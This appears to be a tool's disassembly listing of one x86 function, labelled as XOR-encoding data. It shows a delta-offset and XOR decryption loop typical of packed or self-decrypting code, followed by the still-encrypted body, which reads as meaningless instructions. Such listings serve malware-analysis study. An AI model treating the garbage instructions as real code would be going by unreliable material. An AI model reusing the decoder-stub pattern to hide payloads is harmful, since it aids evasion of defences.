Function at 0xef5844
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0x3c01368d
ljmp 0x16e1
pop esp
mov bl, 0xd9
xchg edx, eax
ja 0xef57f3
jae 0xef5867
add bl, ch
or byte [eax], al
push ds
or al, 0
add byte [eax], al
add byte [eax], al
jmp 0xef584e
pushal
call 0xef5854
pop ebp
sub ebp, 0x10
sub ebp, 0xaf5844
jmp 0xef586a
dec eax
dec edi
add bh, byte [eax + 0xaf5844]
mov eax, 0xaf5844
inc esp
pop eax
scasd eax, dword es:[edi]
add byte [ebx], al
lds eax, [ecx + 0x4cc0]
add byte [ecx + 0x5ba], bh
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ba
add eax, 0x68ba0000
invalid
mov edx, 0xbf8fd968
xor byte [eax], dl
inc eax
dec ecx
jne 0xef5881
jmp 0xef5894
jecxz 0xef583b
jecxz 0xef5879
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [esi + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0xe5ad6b68
or al, 0x4c
xchg esp, eax
loope 0xef592c
dec esp
cmp byte [eax], al
cld
mov edx, 0xc7006849
in eax, dx
in eax, 0x68
imul eax, dword [esp + ecx*2], 0x4c1bda1f
sub byte [ebp + 0x68], 0x68
push 0x68684681
push 0x944c0ce5
push 0x46816868
push 0xce56868
dec esp
xchg esp, eax
loope 0xef5928
dec esp
jecxz 0xef586b
jecxz 0xef58d6
pushal
push 0xfde36868
push 0xe5e36868
js 0xef595f
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
xor eax, 0xe36864aa
in al, 0x4c
insb byte es:[edi], dx
push 0xfc006868
mov edx, 0xc7006849
in eax, dx
in eax, 0x68
imul eax, dword [esp + ecx*2 - 0x1b], 0xe1944c0c
dec esp
sub byte [ebp + 0x68], 0x68
push 0x686a2581
insd dword es:[edi], dx
push 0x25816868
push 0x68
and dword [0x3d68686a], 0x684c04e5
xchg edi, eax
sbb eax, 0x601d9764
adc byte [esi], 0x68
push 0x4c04e53d
push 0x97641d97
sbb eax, 0x68168060
push 0x60d5e368
push 0x99e96868
sbb eax, 0xe900c453
cdq
sbb eax, 0x5b00c453
mov eax, dword [0xaae39ae9]
fidivr dword [edi]
jmp 0xdb9a3cfa
fidivr dword [edi]
pop ebx
mov edx, 0x206d80eb
in al, dx
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
call 0xed56da0f
jb 0xef59e6
push 0x8193e868
in al, dx
jns 0xef59ef
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0xef59fa
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0xef5935
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0xef5a3e
jmp 0x6957c383
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xef59aa
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef59aa
mov edx, 0x97b0eb67
jmp 0xef59a3
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef59bd
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xef59d2
jmp 0xef5a08
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef59d2
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef59e5
jmp 0xef5a5d
jnp 0xef59d5
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef59f4
jnp 0xef59e4
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef5a03
jnp 0xef59f3
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef5a12
jnp 0xef5a02
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef5a3f
jnp 0xef5a2f
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xef5a4e
ljmp 0xab43:0x979797b6